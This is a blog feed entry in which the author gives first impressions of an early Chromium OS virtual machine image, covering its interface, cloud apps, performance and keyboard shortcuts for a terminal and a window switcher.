<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8918358182307276575</id><updated>2024-11-01T01:13:13.550-07:00</updated><title type='text'>Rahul&#39;s Blog</title><subtitle type='html'>All blogs &amp;amp; information based on Internet Search, my own stuffs &amp;amp; researches. &#xa;there is no relation between me &amp;amp; any organization in my blogs. I am not advertising any tool, software over here, All are tested on my own environment &amp;amp; my own risk.&#xa;Intention of creating blogs is only sharing knowledge. Please use tips &amp;amp; trick in your own risk. I will not be responsible for any issue.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>18</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-8849429941581123877</id><published>2009-12-17T21:13:00.001-08:00</published><updated>2009-12-19T21:13:26.326-08:00</updated><title type='text'>Google Chrome OS - Is this the future?</title><content type='html'>&lt;h2&gt;Google Chrome OS - Is this the future?&lt;/h2&gt;&lt;p&gt;Before we dig into the heart of the matter, let me say that I won&#39;t be discussing politics here. There are many&lt;br /&gt;
technical and pseudo-technical websites that have been orgying around the release of Google Chrome OS, debating&lt;br /&gt;
the privacy, security and monopoly issues involved, contemplating the Satan&#39;s share and Big Brother&#39;s parcel in&lt;br /&gt;
the lot.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;I would like to give a not so humble man&#39;s perspective on a new Linux-based operating system available, which&lt;br /&gt;
you may or may not like or may or may not want to use. It&#39;s entirely up to you to love, hate or worship Google.&lt;br /&gt;
You will have to decide whether it&#39;s good for you, whether they want to steal your data and kidneys and what&lt;br /&gt;
you want to do with your netbook. From the purely user-istic perspective, I&#39;ll give you a conservative,&lt;br /&gt;
layman&#39;s view on what Google Chrome OS can do.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj04hLiUIf3zkeSyFd6Snn5RA9_XUkXKILsS-cG_fBxhefW-hez_Cy8fo6aGodh5d0CrSHg9qMvNZ2vDts1jzFRBh78CXj2-r2j4oMPjv5hv6e_FJsYhDQ12tISu4d5fQ21PgXqlauKu4pN/&quot;  alt=

        &quot;Teaser&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;h2&gt;Google Chrome OS first impressions&lt;br /&gt;
&lt;/h2&gt;&lt;p&gt;Currently, Google Chrome OS, or rather the open-source version called Chromium OS is &lt;a href=

        &quot;http://gdgt.com/google/chrome-os/download/&quot;&gt;available&lt;/a&gt; for testing as a virtual machine image, either&lt;br /&gt;
VMware or VirtualBox, and you will have to register to download it.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;This is because Google plan to ship Chrome OS tied to specific hardware platforms, similar to Moblin, which&lt;br /&gt;
should cut down the size of the kernel, the accompanying modules and the memory footprint, but this means only&lt;br /&gt;
custom tailored VM images for you, if you plan on testing.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;Which is what I did, downloaded the image and tried.&lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Boot&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;There&#39;s nothing to see. After several seconds you&#39;ll get to the soft blue login windows, where you&#39;ll have to&lt;br /&gt;
provide your Google email to get into the system. The boot times in virtual machine are meaningless, but it&lt;br /&gt;
took about 20-30 seconds to get to the login prompt. The startup of the virtual machine failed once.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;The login windows boots to 800x600px resolution, with the version string flowing over the right border into&lt;br /&gt;
oblivion. To login, you will need a valid Google email address.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZhp1tFYZ2-K3-m1zLs1HeYn4UqhJxjTZxAIhFcj58wodbEke4gAZ9gab2hY-PHRKPzRyCw4EvSmHPjahd56sF80lPIrAAWftWm6XJAOHNHkW1wX4wQvbi-sHThVoPmX3iu_cis62dpVQN/s640/chomium-os1.jpg&quot;  alt=

        &quot;Login&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;What do we have here?&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;I have never used Chrome, so the interface is completely new to me, which makes for an even better test. This&lt;br /&gt;
is a great opportunity to learn about the new concept of the in-browser operating system and see how&lt;br /&gt;
simple/intuitive it would be.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;The OS logs into to Google Mail. This is the default view.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjM1CTTF1tBV5Bup52BpTw7NNzgWk4mcb5xx6fMPzx2TiM9NoaPod10d52s5crLF0dlMfOhNUV25LynjzWjny8l9uSTC7rmrZembdkGVMS8h8FUs1JlMOiGWtTo8mUiXDhainGdMUK4EJz/&quot;  alt=&quot;Mail&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;The user interface revolves around top-positioned tabbed menu. The fonts and colors are soft and pleasant.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;In the right corner, you have a few administrative buttons, including a battery meter, a network manager and&lt;br /&gt;
options. This is very similar to &lt;a href=&quot;moblin-2.html&quot;&gt;Moblin&lt;/a&gt;, which also uses the symbolic interface for&lt;br /&gt;
its core functions. Likewise, there is no shutdown button.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoDoOJv9JqKBJVsIk_8KkwRM8vk182UiGDb3o9YsvfXDb65K1DWmg3E-71XclHEZMPqAZKevuJpXkv6IRu8_dcauPpnByQwhvwqgJOuMXfp4aH8uj2Lh_1v6bjHEGYLuaT-aHJqxFflVvD/&quot;  alt=

        &quot;Battery&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdMR3IzsoqHeqB5AlDN4M-wcW26ErW8qZDpFBU3Xlcdzvl00OJ1AaKcahwSMOuwCm3wTbEuzUcQr_S5mNnE8DPT1GWl2EjCFeZr13QVmoJf-1mb4lluTJIomgj_ZhZz0yrHB_pcgnaM8xY/&quot;  alt=

        &quot;Network&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXgINMaYX7-IhWupfc4_dmxG0aFiVkNsmZ1OA-ame3bfv7maw1UoTaRSUEOtbof3bajSzaQ9nh4KlxTu2Hh-HIHG_6_Cow3-l4cdCuQ_IMC_9sYzr0xcwp3PU-3PuPi3nPEE9_4svpnUrN/&quot;  alt=

        &quot;Options&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Options&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;The options allow you to open new tabs and windows, switch to private browsing, expand the view to full screen,&lt;br /&gt;
manage the browser history, downloads and extensions, and a few administrative tasks.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;However, if you were expecting a full blown system menu anywhere, forget it. For instance, I did not figure out&lt;br /&gt;
how to change the screen resolution. In fact, it may very well be impossible, which could explain why Google&lt;br /&gt;
would want to ship their product with only a select number of hardware platforms.&lt;br /&gt;
&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Moreover, if you&#39;re looking for some kind of control similar to Windows or Linux or maybe a command line, there&lt;br /&gt;
is not any, either. The interface is pretty much locked. But the main focus of Google Chrome OS is exactly that&lt;br /&gt;
- distance yourselves from the classic concept of operating systems and step into an agnostic data-centric&lt;br /&gt;
cloud.&lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Tabs &amp;amp; customization&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;The second tab open by default points to Google Calendar:&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB7H0Cqgt91GArXGJ4Awfe85Sa5ZCbp-5n7HoHncMKHAbfF1nB-rxKevhP5-f-1If4rtYxzfW73IgaDA17qdPDNe5nG8s6Hn3MuTCx-exiDXri7ZDuglyXiA09Hsk_Lj-KOjz1DxPG7FEE/&quot;  alt=

        &quot;Calendar&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;If you want to access additional applications or just use the browser, you can open a new tab any time. By&lt;br /&gt;
default, the tabs open to a speed-dial like interface, similar to the one used in Opera, which you can&lt;br /&gt;
customize any which way you want, within reason that is.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRJivCQz5Sv8IGapnGhVtb_X8gmVWpmjV93Us9A9qO3vBMODfzqnqMJDLpRDaAp78Pz1Pvp2tttS3uOEedock4-J3nIatt0GrMSZF7QqbvP0zmAU0mTcEBXfnad9f2ThH17cd_NqpnTz8a/&quot;  alt=

        &quot;New tab&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;You can set the speed-dial page to be your home page, review recently closed tabs or browse your entire&lt;br /&gt;
history. Chrome also displays a reminder that tells you you can install extensions and sync your bookmarks.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;You can change the looks and even use some lively themes to add some spirit/color to your interface.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZpwqZMVYz0OVqfD5qa0G8yNYDfOo9gYeCxJrhgwiNJexV9a9uaTpIKKypITvPtmXQVyC9JC-C4Ty727Z16S-NbzCGqK1zc1Jth4TsEYhye-TkHdgeNGkfFTm19eNwaBLNUzkWo2SJZQZO/&quot;  alt=

        &quot;Tabs customization&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOHkZ3FH_m95H9a4dAuZD_4lUrFBVVrN-jDlj6940Fvf_Y72UsjeZ88Q2LswxGHiuRtY4yHvNKzywKSjySWlBtPylaZ625gfY2WEufplLDE7ct9yhpWzJ5s2wMjWb8CO3wjfHKK5xRJNI4/&quot;  alt=

        &quot;Themes&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;Whenever you need help, you can click on the Welcome link and get a brief introduction to Chrome and its core&lt;br /&gt;
functions.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;For people who have only ever used Internet Explorer, Chrome might be a little tricky to grasp at first.&lt;br /&gt;
Firefox and Opera users will have an easier time adapting, but you may still find the concept a bit confusing.&lt;br /&gt;
The fact each tab has its own interface is counter-intuitive. You do run one browser, but each tab is an&lt;br /&gt;
instance of its own. The fact you have no centralized management and that each tab can recursively call all&lt;br /&gt;
others, despite being separate processes is a geeky feature that normal people won&#39;t easily understand.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip0L7WE3N8WO4KXoAeXw9MUhEDV5_lpJRpFXD-UGuNbdFuLIPuhgRwj0d7cjx4mJG-FtG9MOn5j9jSrWzoWtayjfYbt3PVGk2xridl4aOwt10bsD3eqTG0OhDH-MijQ0E0UW1ef8P7j-Cs/&quot;  alt=

        &quot;Welcome&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Applications &amp;amp; documents&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;The term applications is a rather loose one, here, because we&#39;re talking about Google products, all running&lt;br /&gt;
remotely. If you&#39;ve used them before, they are still the same. The big difference is, your data is kept in the&lt;br /&gt;
Google cloud, stored on Google servers. Chrome OS, in this regard, is merely an interface that lets you&lt;br /&gt;
interact with your files.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAhkIuEWRteXPuR19lloFWVXmW4srqSELOoc7M22pNRFxefOed5Dml7bAdZSQqQ5mkskani_QOSLVZWmyVfsKWnEccQomgVn4aYgDPQT8P1D0WZMoMvbZuMQdopNJUF5jhuoLw-9_q0Kge/&quot;  alt=&quot;Docs&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4oHfNLTANpaqCB1O6Jm38HVDh_7taH9OJX1GtnI2niMZ8o2nI2a6YmIMYlGevIr4onewx6glXfubQbblHhQUazn56j4fZwHxjDbMt32_wAt1yVo6Si5ZlMBTZL3hImJxXy-YszWEg_cWz/&quot; style=

        &quot;width: 640px; height: 480px;&quot; alt=&quot;Presentation&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;At the moment, there is no way to add your own local applications. This makes the operating system locked down,&lt;br /&gt;
easier to secure and manage, but it neuters the usability. For control freaks or even medium geeks, the lack of&lt;br /&gt;
any ability to control your programs and content can be frustrating.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;There&#39;s also the practical question of remove connectivity: a) bandwidth b) security of connections established&lt;br /&gt;
to Google servers c) data storage privacy, security, retention, visibility, and availability d) scalability and&lt;br /&gt;
customization.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;At the moment, most people in the world do not have sufficient bandwidth to be able to work with remove servers&lt;br /&gt;
comfortably, especially if they need to transfer large quantities of data. Real-time streaming also becomes an&lt;br /&gt;
issue.&lt;br /&gt;
&lt;/p&gt;&lt;p class=&quot;bold_text&quot;&gt;Working with local files&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;You still have a sort-of an offline mode available, with your files saved to a local copy, but this is not the&lt;br /&gt;
intended goal of the browser operating system. You&#39;re supposed to work online, where both your programs and&lt;br /&gt;
data reside.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsGUYlK6PU-nW-gHU5wXYCD8Of1SUf6j6DVFGggbPCZq85tlAZVfpKyE0r2v_31Jl_aamAZb-sFgBjOvf4EbHecj5rNtng33jYev4zqiQT9osIrqLRzv_RpdOele0IxaJVMuwk_H3vxYRY/&quot;  alt=

        &quot;Files&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Application shortcuts and panels&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;If you want to make your Chrome OS behave a little more like the regular OS, then click on the Chromium icon in&lt;br /&gt;
the top panel, that&#39;s the leftmost one. You will be taken to the Google Accounts page, where you need to sign&lt;br /&gt;
in, once again.&lt;br /&gt;
&lt;/p&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;Once you do that, you&#39;ll have a tab with quick-links to some of the available applications, including Youtube,&lt;br /&gt;
PicasaWeb, a few Flash based games, and, quite surprisingly, Hotmail and Yahoo! mail as well.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc6INb9KIxIJikqrGZRQQLPxOo771RqR375D2QzS-nUfV33DITvnnDVgjZHchpM-87wvlKszWDPRFYuGfgevNz1NIdquvc6tJqjtazL_x5pm-D5bfbWXyBvusJFy98EhpTMNFd5uB1S6iA/s800/chomium-os2.jpg&quot;  alt=

        &quot;Accounts&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;Fire them up and enjoy them, all in the cloud.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj4Rp9qwE3gzYfkJrw2ql49BAtFz977QRc5Xccag9ZkdCgF8uKEyEm3sgm8CaXPHtIwXn9qE8WZC05OMo305-ORDVUCA3tV8eS-hxv-SVK3xHlk_Ohqc1AIHBLs1_Q7kxeHq6sEyWX1SLo/&quot;  alt=

        &quot;Chess&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img  alt=&quot;More apps&quot; src=

        &quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuWQLhnliIzvVCRKAv-FVpMoOKnSnYsCoCm-aTKGdDrNhFNN8AhqS2qnf0BXOzqZbczB3YWmcYTBeSCi_S-3jGT-nXLjvzTpB5zkRmRZUmX6wBUnEYRNXfrYBdAaNESYDM7js5UTR3kW24/&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Browsing&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;Chrome, when not being the OS, is just a browser. Go to your favorite pages and enjoy yourself.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq0Wrd2VU2gygExxer-Lw-HbVOOIX8jskwyell50J7bQJkegJrcZodzfQg8qwafbzYMOhyphenhyphenay9O95TRmM9K0Q7435Fr1K-aaVyq-NaHDx0RbvBYlppuxB_MosLIEgIEXB0b1yzFtlUDPWI/&quot;  alt=

        &quot;Browsing&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p class=&quot;bold_text&quot;&gt;Flash playback&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;You can even watch Flash content, although the playback in the virtual machine was slow and choppy.&lt;br /&gt;
The resolution was really an issue on this one, because watching Youtube on 800x600px is tricky. I did not like&lt;br /&gt;
the aggressive cropping of the left page margin either, but that&#39;s cosmetics for you.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;It can be changed, but there&#39;s no easy way for ordinary users to handle this. We&#39;ll talk about this a little&lt;br /&gt;
more later in the article, when we discuss some super-geeky hacks for Chrome OS.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwOYmfjm0xDT0G6l9shcri6Ow8G9J8YL9oNmMRT4txK8nMA9XOkRxhTfnAqBYSk9l21Dbqeo8ESHHyD70GPAzX4FzELaVgmcIbqu3oCVOWSG_qv375B2doSH4ad1-QiaXAAO320UZX8v4B/s576/Capture.JPG&quot;  alt=

        &quot;Flash&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p class=&quot;bold_text&quot;&gt;Incognito browsing&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;For those who would like to enjoy a bit more privacy when browsing, there&#39;s the incognito mode, which will make&lt;br /&gt;
your session private, meaning there won&#39;t be any traces left.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguTKTCH7pT7isqzjTB8CLHB_do0d_KdjxjoktxP51w13HGLfkJQk_dgeEnTPNqpS_xe8w42rtd7JDKhYHS0e3R8hLneSYUrCAvi9d4OCFmvMl6acPy2UFEu-nWBtl28-Nnd4eCfs-SNdBO/&quot;  alt=

        &quot;Incongnito&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Task Manager&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;If you hit Ctrl + Alt + Delete, you will see a very simplified Task Manager. The problem is, it will take focus&lt;br /&gt;
away from your browser windows/tab, so the only apparent way to close it is to click Stats for Nerds link in&lt;br /&gt;
the bottom, which will take you back into your tabbed interface.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCHHYC-JoTI9ZtTIqfsRXu_BFTgDgiC34mnLFt_vQI2iMmib-z4tEITY2jG5qo_x5s5XRmXw3R1atac_i6xvG4yEM9ms9ah_3M7DmIMuJTJZ4-rJYpWeSYKmUVqlk5JQ_aQV0hC3bZ5Q7L/&quot; 

        alt=&quot;Task manager&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;There are some ways to get around the limitation, but that&#39;s later in the article!&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;From the purely classic perspective, the lack of a visible king utility that manages all is confusing. People&lt;br /&gt;
are used to having a vertical hierarchy and the flat, Internet-like everyone-sees-everyone relation used in&lt;br /&gt;
Chromium is radical and hard to adjust to quickly.&lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Performance&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;As a virtual machine not really meant to run on conventional hardware, Google Chrome OS performance was bad.&lt;br /&gt;
The system was sluggish and slow, but this means nothing. Google Chrome will run quite likely run well on the&lt;br /&gt;
optimized platform. The results are very similar to my observations with Moblin (virtual) and &lt;a href=

        &quot;unr.html&quot;&gt;Ubuntu Netbook Remix&lt;/a&gt; on non-Atom platforms.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;Memory wise, Chrome OS was no different than any other typical Linux, with 300MB used.&lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Developer mode&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;If you&#39;re feeling nerdy, you can play with the Developer mode, which exposes a web development interface to&lt;br /&gt;
you, mainly clogged with HTML, CSS and Javascript.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPN4RZ-dAjc3Ua4mCylnx6k8yzjGsM1Q0zK7WIWivLzxS09SosMh29t3DRt7yF5eOG1NCMhgeffk93pX94NLMjgyGVrSnHqojjn4fNH-jzEaDrtMKIwWvieY90TTZMSPMaj6qd-9nRn5K-/&quot;  alt=

        &quot;Developer&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;h2&gt;Hacks!&lt;br /&gt;
&lt;/h2&gt;&lt;p&gt;I&#39;ve saved the best for the last! This is only if you feel ultra-geeky!&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;If you go to the &lt;a href=

        &quot;http://www.chromium.org/chromium-os/how-tos-and-troubleshooting/developer-faq&quot;&gt;Developer FAQ (The Chromium&lt;br /&gt;
Projects)&lt;/a&gt; page, you will find a handful of useful tips that can enhance your experience with Chrome. These&lt;br /&gt;
include shortcut keys that start a terminal (yes) and allow you to switch between open windows expo-style.&lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Terminal&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;This is what the real Linux users want and expect. No link anywhere in the main interface, but if you hit the&lt;br /&gt;
right combination of buttons, you&#39;ll get there. Ctrl + Alt + t and you have terminal!&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9Am4sNAMgJpZPedrxM1cBMng443ZHxlc9QtVi5TT4xVGHMxffnYNjX7cp7spMkoa3uw4EdYRmrLUnR_9uKPaUivkL8FNJis9kLcSiRI5Xb2CpObJpzralbLNBWwAntIRg6wh3jPbH7-Ge/&quot;  alt=

        &quot;Terminal&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT7XQzkZ-JZeoRFpFftQA4vgJ1S-xJ5jk5Aj7OT8-rQozzMLqLxRgejdide5ruCBQ8Af3pyEdfUPJQ0mP9oC6HsZVC9JntM971x3C102UEG4wZvQUGiZWuloQJmWLGs_zizofYWpsPbane/&quot;  alt=&quot;Top&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;h3&gt;Windows switcher&lt;br /&gt;
&lt;/h3&gt;&lt;p&gt;If you have several windows open, killing tabs one by one just to get there is not exactly the most elegant&lt;br /&gt;
solution. F12 will spread the open windows across your desktop, just like the Expo plugin in Compiz. Again,&lt;br /&gt;
very similar to Moblin Zones.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7HeRpmbnOs8hO2LJGvDF2YCK5R1nn6F62387ilt0HEI0bx70Di76TKL9DacdsS6LpAPIYPfVNagdDVvtbeuoHAfrLSs9s5Wq0xgT6npvJOTQX30DWTzcjl-evPLNHWlDaIyLSBruCq2Ta/&quot;  alt=&quot;Expo&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi41bP7FjJy8Erp5UqX5rga0m_J-L_eAS-bD8lo6BzuIxTmXQC2W6g2GyDthjCKW8f-FfbCUvvxHZh6od-Eff_gMfH0vnwb9lYT4Qc8dbsjY0fjoBV20PZ8cIJ7OxGKjw1ncHbbdbmsEwuA/&quot;  alt=

        &quot;Zoomed&quot;&gt; &lt;br /&gt;
&lt;/p&gt;&lt;p&gt;Worried geeks can now feel a little better ...&lt;br /&gt;
&lt;/p&gt;&lt;h2&gt;Conclusion&lt;br /&gt;
&lt;/h2&gt;&lt;p&gt;Judging Chrome OS is difficult. The natural tendency is to compare it to existing operating systems. But this&lt;br /&gt;
would be wrong. Because Google Chrome OS is not a conventional system, just like comparing horses and airplanes&lt;br /&gt;
serves no purpose.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;Google Chrome OS is meant to be a fire-and-forget lightweight operating system focused around the Web&lt;br /&gt;
experience. It takes you away from your local disk, erases the boundaries between hardware and software and&lt;br /&gt;
throws you into the so-called cloud, where you exist on a higher level of abstraction. You don&#39;t care about the&lt;br /&gt;
internals. You take them for granted, just like most people take Internet for granted and have no idea what&lt;br /&gt;
Web, DNS and FTP servers are. But they do know what websites are. Similarly, Chrome OS is meant to give you a&lt;br /&gt;
very simplified notion of computer usage.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;This model is definitely not for everyone. Only the future will show if it&#39;s going to work. For most computers&lt;br /&gt;
users, this is too much, too radical. If you&#39;re used to computers the way they are today, Google Chrome is a&lt;br /&gt;
leap of faith - and you don&#39;t even know what the faith is all about.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;There might also be additional security, privacy and usage concerns that may complicate things yet further. But&lt;br /&gt;
it&#39;s too early to tell or judge.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;What is clear is that the current Google OS technology demonstrator is a very young product. It&#39;s still just a&lt;br /&gt;
shell and will take many months or even years to form and perfect. Using it today offers few advantages over&lt;br /&gt;
conventional systems.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;Unfortunately, due to the tremendous success of quite a few Google endeavors so far, people have taken Google&lt;br /&gt;
wizardry for granted. The expectations from Google Chrome OS were so high, people thought that it would&lt;br /&gt;
instantly become a hit, the new digital religion that everyone should swear by. But it&#39;s too early. Google&lt;br /&gt;
Chrome OS needs time.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;I believe that in a year or two, Chrome OS will make more sense that it does today. Secondly, the current&lt;br /&gt;
generation of conventional computers users will probably never use it. If you must have some sort of a control&lt;br /&gt;
panel, if you must feel the kernel and be able to tamper with it, if you must have your data on your local&lt;br /&gt;
machine, Google Chrome is not for you. But then, you probably won&#39;t be using netbooks or smartphones either.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;If you&#39;re asking for my opinion, I really don&#39;t know what to say. I can&#39;t say if this is the next revolution or&lt;br /&gt;
yet another interesting but useless idea. So far, Google people have been making some pretty decent decisions,&lt;br /&gt;
I guess they know what they&#39;re doing.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;If I had to recommend something, that would be - take Google Chrome OS for a spin and see for yourself. The&lt;br /&gt;
ultimate decision whether you&#39;re going to commit your data into the hands of a big global cloud is something&lt;br /&gt;
only you can answer.&lt;br /&gt;
&lt;/p&gt;&lt;p&gt;Cheers.&lt;br /&gt;
Rahul Singh Gehlot&lt;br /&gt;
&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/8849429941581123877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/12/google-chrome-os-is-this-future-google.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/8849429941581123877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/8849429941581123877'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/12/google-chrome-os-is-this-future-google.html' title='Google Chrome OS - Is this the future?'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 